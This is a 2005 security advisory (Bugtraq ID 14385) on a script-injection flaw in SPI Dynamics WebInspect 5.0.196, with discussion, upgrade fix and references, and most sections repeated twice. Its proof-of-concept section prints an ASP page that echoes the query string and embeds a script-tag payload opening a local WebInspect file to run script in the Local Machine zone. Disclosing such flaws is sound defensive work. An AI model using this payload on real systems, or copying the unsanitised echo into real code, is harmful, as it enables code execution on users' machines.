SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
BID:14385
Info
SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
| Bugtraq ID: | 14385 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 26 2005 12:00AM |
| Updated: | Jul 26 2005 12:00AM |
| Credit: | [email protected] discovered this vulnerability. |
| Vulnerable: |
SPI Dynamics WebInspect 5.0.196 |
| Not Vulnerable: |
SPI Dynamics WebInspect 5.5 |
Discussion
SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
WebInspect is vulnerable to a cross-application script injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied data prior to including it in content rendered in an Internet Explorer COM object.
This vulnerability allows attackers to execute arbitrary script code in the context of the vulnerable application. By exploiting the knowledge of predictable files on the targeted system, attackers may also cause arbitrary script code to be executed in the "Local Machine" zone, facilitating remote machine code installation and execution.
WebInspect is vulnerable to a cross-application script injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied data prior to including it in content rendered in an Internet Explorer COM object.
This vulnerability allows attackers to execute arbitrary script code in the context of the vulnerable application. By exploiting the knowledge of predictable files on the targeted system, attackers may also cause arbitrary script code to be executed in the "Local Machine" zone, facilitating remote machine code installation and execution.
Exploit / POC
SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
An exploit is not required.
An example ASP document was provided as a proof of concept exploit:
<HTML><HEAD><BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
<form action="script>/<script>window.open(%27file://C:\\Program
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br>
<input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form>
</BODY></HTML>
An exploit is not required.
An example ASP document was provided as a proof of concept exploit:
<HTML><HEAD><BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
<form action="script>/<script>window.open(%27file://C:\\Program
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br>
<input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form>
</BODY></HTML>
Solution / Fix
SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
Solution:
The vendor has reported that WebInspect 5.5 is not affected by this issue. Customers are advised to upgrade using the SmartUpdate feature of the application.
Solution:
The vendor has reported that WebInspect 5.5 is not affected by this issue. Customers are advised to upgrade using the SmartUpdate feature of the application.
References
SPI Dynamics WebInspect Cross Application Script Injection Vulnerability
References:
References:
- WebInspect Home Page (SPI Dynamics)
- XSS ? WEB = Cross-Applications Scripting (Securitylab.ru)
- SPIDynamics WebInspect Cross-Application Scripting (XAS) (3APA3A <[email protected]>)
- SPIDynamics WebInspect Cross-ApplicationScripting (XAS) (Security-Alert